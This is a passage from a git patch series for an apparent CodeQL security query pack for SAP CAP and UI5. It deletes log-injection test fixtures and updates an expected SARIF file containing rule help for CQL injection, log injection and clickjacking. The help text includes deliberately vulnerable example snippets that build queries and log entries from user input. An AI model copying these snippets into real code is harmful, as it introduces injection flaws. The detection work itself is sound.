-    "advanced_security.log_injection.sample_entities.Entity2": {
-      "kind": "entity",
-      "elements": {
-        "Attribute3": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute4": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    }
-  },
-  "meta": {
-    "creator": "CDS Compiler v4.1.2",
-    "flavor": "inferred"
-  },
-  "$version": "2.0"
-}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.json
deleted file mode 100644
index d8aae510a..000000000
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.json
+++ /dev/null
@@ -1,71 +0,0 @@
-{
-  "definitions": {
-    "Service1": {
-      "@source": "srv/service1.cds",
-      "kind": "service",
-      "@protocol": "none",
-      "@path": "/service-1"
-    },
-    "Service1.Service1Entity": {
-      "kind": "entity",
-      "projection": {
-        "from": {
-          "ref": [
-            "advanced_security.log_injection.sample_entities.Entity1"
-          ]
-        },
-        "excluding": [
-          "Attribute2"
-        ]
-      },
-      "elements": {
-        "Attribute1": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
-    "Service1.send1": {
-      "kind": "action",
-      "params": {
-        "messageToPass": {
-          "type": "cds.String"
-        }
-      },
-      "returns": {
-        "type": "cds.String"
-      }
-    },
-    "advanced_security.log_injection.sample_entities.Entity1": {
-      "kind": "entity",
-      "elements": {
-        "Attribute1": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute2": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
-    "advanced_security.log_injection.sample_entities.Entity2": {
-      "kind": "entity",
-      "elements": {
-        "Attribute3": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute4": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    }
-  },
-  "meta": {
-    "creator": "CDS Compiler v4.1.2",
-    "flavor": "inferred"
-  },
-  "$version": "2.0"
-}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.json
deleted file mode 100644
index a7e41e79f..000000000
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.json
+++ /dev/null
@@ -1,71 +0,0 @@
-{
-  "definitions": {
-    "Service2": {
-      "@source": "srv/service2.cds",
-      "kind": "service",
-      "@protocol": "none",
-      "@path": "/service-2"
-    },
-    "Service2.Service2Entity": {
-      "kind": "entity",
-      "projection": {
-        "from": {
-          "ref": [
-            "advanced_security.log_injection.sample_entities.Entity2"
-          ]
-        },
-        "excluding": [
-          "Attribute4"
-        ]
-      },
-      "elements": {
-        "Attribute3": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
-    "Service2.send2": {
-      "kind": "action",
-      "params": {
-        "messageToPass": {
-          "type": "cds.String"
-        }
-      },
-      "returns": {
-        "type": "cds.String"
-      }
-    },
-    "advanced_security.log_injection.sample_entities.Entity1": {
-      "kind": "entity",
-      "elements": {
-        "Attribute1": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute2": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
-    "advanced_security.log_injection.sample_entities.Entity2": {
-      "kind": "entity",
-      "elements": {
-        "Attribute3": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute4": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    }
-  },
-  "meta": {
-    "creator": "CDS Compiler v4.1.2",
-    "flavor": "inferred"
-  },
-  "$version": "2.0"
-}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.json
deleted file mode 100644
index d8aae510a..000000000
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.json
+++ /dev/null
@@ -1,71 +0,0 @@
-{
-  "definitions": {
-    "Service1": {
-      "@source": "srv/service1.cds",
-      "kind": "service",
-      "@protocol": "none",
-      "@path": "/service-1"
-    },
-    "Service1.Service1Entity": {
-      "kind": "entity",
-      "projection": {
-        "from": {
-          "ref": [
-            "advanced_security.log_injection.sample_entities.Entity1"
-          ]
-        },
-        "excluding": [
-          "Attribute2"
-        ]
-      },
-      "elements": {
-        "Attribute1": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
-    "Service1.send1": {
-      "kind": "action",
-      "params": {
-        "messageToPass": {
-          "type": "cds.String"
-        }
-      },
-      "returns": {
-        "type": "cds.String"
-      }
-    },
-    "advanced_security.log_injection.sample_entities.Entity1": {
-      "kind": "entity",
-      "elements": {
-        "Attribute1": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute2": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
-    "advanced_security.log_injection.sample_entities.Entity2": {
-      "kind": "entity",
-      "elements": {
-        "Attribute3": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute4": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    }
-  },
-  "meta": {
-    "creator": "CDS Compiler v4.1.2",
-    "flavor": "inferred"
-  },
-  "$version": "2.0"
-}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.json
deleted file mode 100644
index 4e1c5c4d6..000000000
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.json
+++ /dev/null
@@ -1,70 +0,0 @@
-{
-  "definitions": {
-    "Service2": {
-      "@source": "srv/service2.cds",
-      "kind": "service",
-      "@path": "/service-2"
-    },
-    "Service2.Service2Entity": {
-      "kind": "entity",
-      "projection": {
-        "from": {
-          "ref": [
-            "advanced_security.log_injection.sample_entities.Entity2"
-          ]
-        },
-        "excluding": [
-          "Attribute4"
-        ]
-      },
-      "elements": {
-        "Attribute3": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
-    "Service2.send2": {
-      "kind": "action",
-      "params": {
-        "messageToPass": {
-          "type": "cds.String"
-        }
-      },
-      "returns": {
-        "type": "cds.String"
-      }
-    },
-    "advanced_security.log_injection.sample_entities.Entity1": {
-      "kind": "entity",
-      "elements": {
-        "Attribute1": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute2": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
-    "advanced_security.log_injection.sample_entities.Entity2": {
-      "kind": "entity",
-      "elements": {
-        "Attribute3": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute4": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    }
-  },
-  "meta": {
-    "creator": "CDS Compiler v4.1.2",
-    "flavor": "inferred"
-  },
-  "$version": "2.0"
-}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.json
deleted file mode 100644
index f9bd8754e..000000000
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.json
+++ /dev/null
@@ -1,70 +0,0 @@
-{
-  "definitions": {
-    "Service1": {
-      "@source": "srv/service1.cds",
-      "kind": "service",
-      "@path": "/service-1"
-    },
-    "Service1.Service1Entity": {
-      "kind": "entity",
-      "projection": {
-        "from": {
-          "ref": [
-            "advanced_security.log_injection.sample_entities.Entity1"
-          ]
-        },
-        "excluding": [
-          "Attribute2"
-        ]
-      },
-      "elements": {
-        "Attribute1": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
-    "Service1.send1": {
-      "kind": "action",
-      "params": {
-        "messageToPass": {
-          "type": "cds.String"
-        }
-      },
-      "returns": {
-        "type": "cds.String"
-      }
-    },
-    "advanced_security.log_injection.sample_entities.Entity1": {
-      "kind": "entity",
-      "elements": {
-        "Attribute1": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute2": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
-    "advanced_security.log_injection.sample_entities.Entity2": {
-      "kind": "entity",
-      "elements": {
-        "Attribute3": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute4": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    }
-  },
-  "meta": {
-    "creator": "CDS Compiler v4.1.2",
-    "flavor": "inferred"
-  },
-  "$version": "2.0"
-}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.json
deleted file mode 100644
index a7e41e79f..000000000
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.json
+++ /dev/null
@@ -1,71 +0,0 @@
-{
-  "definitions": {
-    "Service2": {
-      "@source": "srv/service2.cds",
-      "kind": "service",
-      "@protocol": "none",
-      "@path": "/service-2"
-    },
-    "Service2.Service2Entity": {
-      "kind": "entity",
-      "projection": {
-        "from": {
-          "ref": [
-            "advanced_security.log_injection.sample_entities.Entity2"
-          ]
-        },
-        "excluding": [
-          "Attribute4"
-        ]
-      },
-      "elements": {
-        "Attribute3": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
-    "Service2.send2": {
-      "kind": "action",
-      "params": {
-        "messageToPass": {
-          "type": "cds.String"
-        }
-      },
-      "returns": {
-        "type": "cds.String"
-      }
-    },
-    "advanced_security.log_injection.sample_entities.Entity1": {
-      "kind": "entity",
-      "elements": {
-        "Attribute1": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute2": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
-    "advanced_security.log_injection.sample_entities.Entity2": {
-      "kind": "entity",
-      "elements": {
-        "Attribute3": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute4": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    }
-  },
-  "meta": {
-    "creator": "CDS Compiler v4.1.2",
-    "flavor": "inferred"
-  },
-  "$version": "2.0"
-}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.json
deleted file mode 100644
index f9bd8754e..000000000
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.json
+++ /dev/null
@@ -1,70 +0,0 @@
-{
-  "definitions": {
-    "Service1": {
-      "@source": "srv/service1.cds",
-      "kind": "service",
-      "@path": "/service-1"
-    },
-    "Service1.Service1Entity": {
-      "kind": "entity",
-      "projection": {
-        "from": {
-          "ref": [
-            "advanced_security.log_injection.sample_entities.Entity1"
-          ]
-        },
-        "excluding": [
-          "Attribute2"
-        ]
-      },
-      "elements": {
-        "Attribute1": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
-    "Service1.send1": {
-      "kind": "action",
-      "params": {
-        "messageToPass": {
-          "type": "cds.String"
-        }
-      },
-      "returns": {
-        "type": "cds.String"
-      }
-    },
-    "advanced_security.log_injection.sample_entities.Entity1": {
-      "kind": "entity",
-      "elements": {
-        "Attribute1": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute2": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
-    "advanced_security.log_injection.sample_entities.Entity2": {
-      "kind": "entity",
-      "elements": {
-        "Attribute3": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute4": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    }
-  },
-  "meta": {
-    "creator": "CDS Compiler v4.1.2",
-    "flavor": "inferred"
-  },
-  "$version": "2.0"
-}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.json
deleted file mode 100644
index 4e1c5c4d6..000000000
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.json
+++ /dev/null
@@ -1,70 +0,0 @@
-{
-  "definitions": {
-    "Service2": {
-      "@source": "srv/service2.cds",
-      "kind": "service",
-      "@path": "/service-2"
-    },
-    "Service2.Service2Entity": {
-      "kind": "entity",
-      "projection": {
-        "from": {
-          "ref": [
-            "advanced_security.log_injection.sample_entities.Entity2"
-          ]
-        },
-        "excluding": [
-          "Attribute4"
-        ]
-      },
-      "elements": {
-        "Attribute3": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
-    "Service2.send2": {
-      "kind": "action",
-      "params": {
-        "messageToPass": {
-          "type": "cds.String"
-        }
-      },
-      "returns": {
-        "type": "cds.String"
-      }
-    },
-    "advanced_security.log_injection.sample_entities.Entity1": {
-      "kind": "entity",
-      "elements": {
-        "Attribute1": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute2": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
-    "advanced_security.log_injection.sample_entities.Entity2": {
-      "kind": "entity",
-      "elements": {
-        "Attribute3": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute4": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    }
-  },
-  "meta": {
-    "creator": "CDS Compiler v4.1.2",
-    "flavor": "inferred"
-  },
-  "$version": "2.0"
-}
\ No newline at end of file

From 054be51b279f522102db902509ffa5cad55da555 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Wed, 20 Mar 2024 16:52:13 -0700
Subject: [PATCH 64/86] Update `javascript.sarif.expected`

---
 .github/workflows/javascript.sarif.expected | 13574 ++++++++++--------
 1 file changed, 7897 insertions(+), 5677 deletions(-)

diff --git a/.github/workflows/javascript.sarif.expected b/.github/workflows/javascript.sarif.expected
index 37a9f3592..619cca50c 100644
--- a/.github/workflows/javascript.sarif.expected
+++ b/.github/workflows/javascript.sarif.expected
@@ -6,7 +6,7 @@
       "driver" : {
         "name" : "CodeQL",
         "organization" : "GitHub",
-        "semanticVersion" : "2.16.3",
+        "semanticVersion" : "2.16.4",
         "notifications" : [ {
           "id" : "cli/expected-extracted-files/javascript",
           "name" : "cli/expected-extracted-files/javascript",
@@ -43,36 +43,78 @@
         "rules" : [ ]
       },
       "extensions" : [ {
-        "name" : "advanced-security/javascript-sap-ui5-queries",
-        "semanticVersion" : "0.5.0+6519bc2c9f3d9be292ae8322aa3ea18c081bb38b",
+        "name" : "advanced-security/javascript-sap-cap-queries",
+        "semanticVersion" : "0.1.0+b1fbd510971da2b65671de1296cb2c3288f6b252",
         "rules" : [ {
-          "id" : "js/ui5-clickjacking",
-          "name" : "js/ui5-clickjacking",
+          "id" : "js/cap-sql-injection",
+          "name" : "js/cap-sql-injection",
           "shortDescription" : {
-            "text" : "UI5 Clickjacking"
+            "text" : "CQL query built from user-controlled sources"
           },
           "fullDescription" : {
-            "text" : "The absence of frame options allows for clickjacking."
+            "text" : "Building a CQL query from user-controlled sources is vulnerable to insertion of malicious code by the user."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "error"
           },
           "help" : {
-            "text" : "# Clickjacking\n\nUI5 applications that do not explicitly set the frame options to `deny` may be vulnerable to UI redress attacks (”clickjacking”). In these attacks, the vulnerable site is loaded in a frame on an attacker-controlled site which uses opaque or transparent layers to trick the user into unintentionally clicking a button or link on the vulnerable site.\n\n## Recommendation\n\nExplicitly set the frame options to `\"deny\"`, either through `window[\"sap-ui-config\"]`, or `data-sap-ui-frameOptions` attribute of the script tag where it sources the bootstrap script `\"sap-ui-core.js\"`:\n\n``` javascript\nwindow[\"sap-ui-config\"] = {\n  frameOptions: \"deny\",\n  ...\n};\n```\n\n``` javascript\nwindow[\"sap-ui-config\"].frameOptions = \"deny\";\n```\n\n``` html\n<script src=\"resources/sap-ui-core.js\" data-sap-ui-frameOptions=\"deny\"></script>\n```\n\n## Example\n\n### Setting the Frame Options to `\"allow\"`\n\nThis UI5 application explicitly allows to be embedded in other applications.\n\n```javascript\n<!doctype html>\n<html lang=\"en\">\n  <head>\n    ...\n    <script>\n      window[\"sap-ui-config\"] = {\n        frameOptions: \"allow\",  // either through JS\n        ...\n      };\n    </script>\n\n    <script\n      src=\"resources/sap-ui-core.js\"\n      data-sap-ui-frameOptions=\"allow\"  // or through this HTML attribute\n    ></script>\n  </head>\n  ...\n</html>\n```\n\n### Not Setting the Frame Options to Anything\n\nThe default value of `window[\"sap-ui-config\"]` and `data-sap-ui-frameOptions` are both `\"allow\"`, which makes leaving it untouched allows the application to be embedded.\n\n## References\n* OWASP: [Clickjacking Defense Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html).\n* Mozilla: [X-Frame-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options).\n* SAP UI5 Documentation: [Frame Options](https://sapui5.hana.ondemand.com/sdk/#/topic/62d9c4d8f5ad49aa914624af9551beb7.html).\n* SAP UI5 Documentation: [Allowlist Service](https://sapui5.hana.ondemand.com/sdk/#/topic/d04a6d41480c4396af16b5d2b25509ec.html).\n* Common Weakness Enumeration: [CWE-451](https://cwe.mitre.org/data/definitions/451.html).\n",
-            "markdown" : "# Clickjacking\n\nUI5 applications that do not explicitly set the frame options to `deny` may be vulnerable to UI redress attacks (”clickjacking”). In these attacks, the vulnerable site is loaded in a frame on an attacker-controlled site which uses opaque or transparent layers to trick the user into unintentionally clicking a button or link on the vulnerable site.\n\n## Recommendation\n\nExplicitly set the frame options to `\"deny\"`, either through `window[\"sap-ui-config\"]`, or `data-sap-ui-frameOptions` attribute of the script tag where it sources the bootstrap script `\"sap-ui-core.js\"`:\n\n``` javascript\nwindow[\"sap-ui-config\"] = {\n  frameOptions: \"deny\",\n  ...\n};\n```\n\n``` javascript\nwindow[\"sap-ui-config\"].frameOptions = \"deny\";\n```\n\n``` html\n<script src=\"resources/sap-ui-core.js\" data-sap-ui-frameOptions=\"deny\"></script>\n```\n\n## Example\n\n### Setting the Frame Options to `\"allow\"`\n\nThis UI5 application explicitly allows to be embedded in other applications.\n\n```javascript\n<!doctype html>\n<html lang=\"en\">\n  <head>\n    ...\n    <script>\n      window[\"sap-ui-config\"] = {\n        frameOptions: \"allow\",  // either through JS\n        ...\n      };\n    </script>\n\n    <script\n      src=\"resources/sap-ui-core.js\"\n      data-sap-ui-frameOptions=\"allow\"  // or through this HTML attribute\n    ></script>\n  </head>\n  ...\n</html>\n```\n\n### Not Setting the Frame Options to Anything\n\nThe default value of `window[\"sap-ui-config\"]` and `data-sap-ui-frameOptions` are both `\"allow\"`, which makes leaving it untouched allows the application to be embedded.\n\n## References\n* OWASP: [Clickjacking Defense Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html).\n* Mozilla: [X-Frame-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options).\n* SAP UI5 Documentation: [Frame Options](https://sapui5.hana.ondemand.com/sdk/#/topic/62d9c4d8f5ad49aa914624af9551beb7.html).\n* SAP UI5 Documentation: [Allowlist Service](https://sapui5.hana.ondemand.com/sdk/#/topic/d04a6d41480c4396af16b5d2b25509ec.html).\n* Common Weakness Enumeration: [CWE-451](https://cwe.mitre.org/data/definitions/451.html).\n"
+            "text" : "# CQL query built from user-controlled sources\n\nIf a database query is built from user-provided data without sufficient sanitization, a malicious user may be able to run malicious database queries.\n\n## Recommendation\n\nCAP's intrinsic data querying engine is immune with regards to SQL injections that are introduced by query parameter values that are derived from malicious user input. CQL statements are transformed into prepared statements that are executed in SQL databases such as SAP HANA. \nInjections are still possible even via CQL when the query structure (e.g. target entity, columns etc.) is based on user input.\n\n## Examples\n\nThis CAP application uses user submitted input as entity and column in a CQL query without any validation.\n\n``` javascript\nconst entity = <from user input>\nconst column = <from user input>\nSELECT.from(entity).columns(column)\n```\n\n## References\n\n- OWASP: [Log Injection](https://owasp.org/www-community/attacks/Log_Injection).\n- OWASP: [Log Injection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html).\n- SAP CAPire Documentation: [Security Aspects](https://cap.cloud.sap/docs/guides/security/aspects#common-injection-attacks).\n",
+            "markdown" : "# CQL query built from user-controlled sources\n\nIf a database query is built from user-provided data without sufficient sanitization, a malicious user may be able to run malicious database queries.\n\n## Recommendation\n\nCAP's intrinsic data querying engine is immune with regards to SQL injections that are introduced by query parameter values that are derived from malicious user input. CQL statements are transformed into prepared statements that are executed in SQL databases such as SAP HANA. \nInjections are still possible even via CQL when the query structure (e.g. target entity, columns etc.) is based on user input.\n\n## Examples\n\nThis CAP application uses user submitted input as entity and column in a CQL query without any validation.\n\n``` javascript\nconst entity = <from user input>\nconst column = <from user input>\nSELECT.from(entity).columns(column)\n```\n\n## References\n\n- OWASP: [Log Injection](https://owasp.org/www-community/attacks/Log_Injection).\n- OWASP: [Log Injection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html).\n- SAP CAPire Documentation: [Security Aspects](https://cap.cloud.sap/docs/guides/security/aspects#common-injection-attacks).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-451" ],
-            "description" : "The absence of frame options allows for clickjacking.",
-            "id" : "js/ui5-clickjacking",
-            "kind" : "problem",
-            "name" : "UI5 Clickjacking",
+            "tags" : [ "security" ],
+            "description" : "Building a CQL query from user-controlled sources is vulnerable to insertion of\n              malicious code by the user.",
+            "id" : "js/cap-sql-injection",
+            "kind" : "path-problem",
+            "name" : "CQL query built from user-controlled sources",
+            "precision" : "high",
+            "problem.severity" : "error",
+            "security-severity" : "8.8"
+          }
+        }, {
+          "id" : "js/cap-log-injection",
+          "name" : "js/cap-log-injection",
+          "shortDescription" : {
+            "text" : "CAP Log injection"
+          },
+          "fullDescription" : {
+            "text" : "Building log entries from user-controlled sources is vulnerable to insertion of forged log entries by a malicious user."
+          },
+          "defaultConfiguration" : {
+            "enabled" : true,
+            "level" : "error"
+          },
+          "help" : {
+            "text" : "# CAP Log Injection\n\nIf unsanitized user input is written to a log entry using the CAP Node.js logging API, a malicious user may be able to forge new log entries.\n\nCAP Node.js offers a CLRF-safe logging API that should be used for application log entries that are logged as plaintext. If the entry is interpreted as HTML, then arbitrary HTML code my be included to forge log entries.\n\n## Recommendation\n\nCAP applications need to care for escaping user data that is used as input parameter for application logging.  It's recommended to make use of an existing Encoder such as OWASP ESAPI.\n\n## Examples\n\nThis CAP service directly logs what the user submitted via the `req` request.\n\n``` javascript\nimport cds from '@sap/cds'\nconst { Books } = cds.entities ('sap.capire.bookshop')\n\nclass SampleVulnService extends cds.ApplicationService { init(){\n  this.on ('submitOrder', async req => {\n    const {book,quantity} = req.data\n    const LOG = cds.log(\"nodejs\");\n    LOG.info(\"test\" + book); // Log injection alert\n  })\n\n  return super.init()\n}}\n```\n\n## References\n\n- OWASP: [Log Injection](https://owasp.org/www-community/attacks/Log_Injection).\n- OWASP: [Log Injection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html).\n- SAP CAPire Documentation: [Security Aspects](https://cap.cloud.sap/docs/guides/security/aspects#common-injection-attacks).\n",
+            "markdown" : "# CAP Log Injection\n\nIf unsanitized user input is written to a log entry using the CAP Node.js logging API, a malicious user may be able to forge new log entries.\n\nCAP Node.js offers a CLRF-safe logging API that should be used for application log entries that are logged as plaintext. If the entry is interpreted as HTML, then arbitrary HTML code my be included to forge log entries.\n\n## Recommendation\n\nCAP applications need to care for escaping user data that is used as input parameter for application logging.  It's recommended to make use of an existing Encoder such as OWASP ESAPI.\n\n## Examples\n\nThis CAP service directly logs what the user submitted via the `req` request.\n\n``` javascript\nimport cds from '@sap/cds'\nconst { Books } = cds.entities ('sap.capire.bookshop')\n\nclass SampleVulnService extends cds.ApplicationService { init(){\n  this.on ('submitOrder', async req => {\n    const {book,quantity} = req.data\n    const LOG = cds.log(\"nodejs\");\n    LOG.info(\"test\" + book); // Log injection alert\n  })\n\n  return super.init()\n}}\n```\n\n## References\n\n- OWASP: [Log Injection](https://owasp.org/www-community/attacks/Log_Injection).\n- OWASP: [Log Injection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html).\n- SAP CAPire Documentation: [Security Aspects](https://cap.cloud.sap/docs/guides/security/aspects#common-injection-attacks).\n"
+          },
+          "properties" : {
+            "tags" : [ "security" ],
+            "description" : "Building log entries from user-controlled sources is vulnerable to\n              insertion of forged log entries by a malicious user.",
+            "id" : "js/cap-log-injection",
+            "kind" : "path-problem",
+            "name" : "CAP Log injection",
             "precision" : "medium",
             "problem.severity" : "error",
             "security-severity" : "6.1"
           }
+        } ],
+        "locations" : [ {
+          "uri" : "file:///home/runner/work/codeql-sap-js/codeql-sap-js/javascript/frameworks/cap/src/",
+          "description" : {
+            "text" : "The QL pack root directory."
+          }
         }, {
+          "uri" : "file:///home/runner/work/codeql-sap-js/codeql-sap-js/javascript/frameworks/cap/src/qlpack.yml",
+          "description" : {
+            "text" : "The QL pack definition file."
+          }
+        } ]
+      }, {
+        "name" : "advanced-security/javascript-sap-ui5-queries",
+        "semanticVersion" : "0.5.0+b1fbd510971da2b65671de1296cb2c3288f6b252",
+        "rules" : [ {
           "id" : "js/ui5-xss",
           "name" : "js/ui5-xss",
           "shortDescription" : {
@@ -180,90 +222,65 @@
             "problem.severity" : "error",
             "security-severity" : "7.8"
           }
-        } ],
-        "locations" : [ {
-          "uri" : "file:///home/runner/work/codeql-sap-js/codeql-sap-js/javascript/frameworks/ui5/src/",
-          "description" : {
-            "text" : "The QL pack root directory."
-          }
-        }, {
-          "uri" : "file:///home/runner/work/codeql-sap-js/codeql-sap-js/javascript/frameworks/ui5/src/qlpack.yml",
-          "description" : {
-            "text" : "The QL pack definition file."
-          }
-        } ]
-      }, {
-        "name" : "advanced-security/javascript-sap-cap-queries",
-        "semanticVersion" : "0.1.0+6519bc2c9f3d9be292ae8322aa3ea18c081bb38b",
-        "rules" : [ {
-          "id" : "js/cap-sql-injection",
-          "name" : "js/cap-sql-injection",
-          "shortDescription" : {
-            "text" : "CQL query built from user-controlled sources"
-          },
-          "fullDescription" : {
-            "text" : "Building a CQL query from user-controlled sources is vulnerable to insertion of malicious code by the user."
-          },
-          "defaultConfiguration" : {
-            "enabled" : true,
-            "level" : "error"
-          },
-          "help" : {
-            "text" : "# SQL Injection\n\nIf a database query is built from user-provided data without sufficient sanitization, a malicious user may be able to run malicious database queries.\n\n## Recommendation\n\nCAP's intrinsic data querying engine is immune with regards to SQL injections that are introduced by query parameter values that are derived from malicious user input. CQL statements are transformed into prepared statements that are executed in SQL databases such as SAP HANA. \nInjections are still possible even via CQL when the query structure (e.g. target entity, columns etc.) is based on user input.\n\n## Examples\n\nThis CAP application uses user submitted input as entity and column in a CQL query without any validation.\n\n``` javascript\nconst entity = <from user input>\nconst column = <from user input>\nSELECT.from(entity).columns(column)\n```\n\n## References\n\n- OWASP: [Log Injection](https://owasp.org/www-community/attacks/Log_Injection).\n- OWASP: [Log Injection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html).\n- SAP CAPire Documentation: [Security Aspects](https://cap.cloud.sap/docs/guides/security/aspects#common-injection-attacks).\n",
-            "markdown" : "# SQL Injection\n\nIf a database query is built from user-provided data without sufficient sanitization, a malicious user may be able to run malicious database queries.\n\n## Recommendation\n\nCAP's intrinsic data querying engine is immune with regards to SQL injections that are introduced by query parameter values that are derived from malicious user input. CQL statements are transformed into prepared statements that are executed in SQL databases such as SAP HANA. \nInjections are still possible even via CQL when the query structure (e.g. target entity, columns etc.) is based on user input.\n\n## Examples\n\nThis CAP application uses user submitted input as entity and column in a CQL query without any validation.\n\n``` javascript\nconst entity = <from user input>\nconst column = <from user input>\nSELECT.from(entity).columns(column)\n```\n\n## References\n\n- OWASP: [Log Injection](https://owasp.org/www-community/attacks/Log_Injection).\n- OWASP: [Log Injection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html).\n- SAP CAPire Documentation: [Security Aspects](https://cap.cloud.sap/docs/guides/security/aspects#common-injection-attacks).\n"
-          },
-          "properties" : {
-            "tags" : [ "security" ],
-            "description" : "Building a CQL query from user-controlled sources is vulnerable to insertion of\n              malicious code by the user.",
-            "id" : "js/cap-sql-injection",
-            "kind" : "path-problem",
-            "name" : "CQL query built from user-controlled sources",
-            "precision" : "high",
-            "problem.severity" : "error",
-            "security-severity" : "8.8"
-          }
         }, {
-          "id" : "js/cap-log-injection",
-          "name" : "js/cap-log-injection",
+          "id" : "js/ui5-clickjacking",
+          "name" : "js/ui5-clickjacking",
           "shortDescription" : {
-            "text" : "CAP Log injection"
+            "text" : "UI5 Clickjacking"
           },
           "fullDescription" : {
-            "text" : "Building log entries from user-controlled sources is vulnerable to insertion of forged log entries by a malicious user."
+            "text" : "The absence of frame options allows for clickjacking."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "error"
           },
           "help" : {
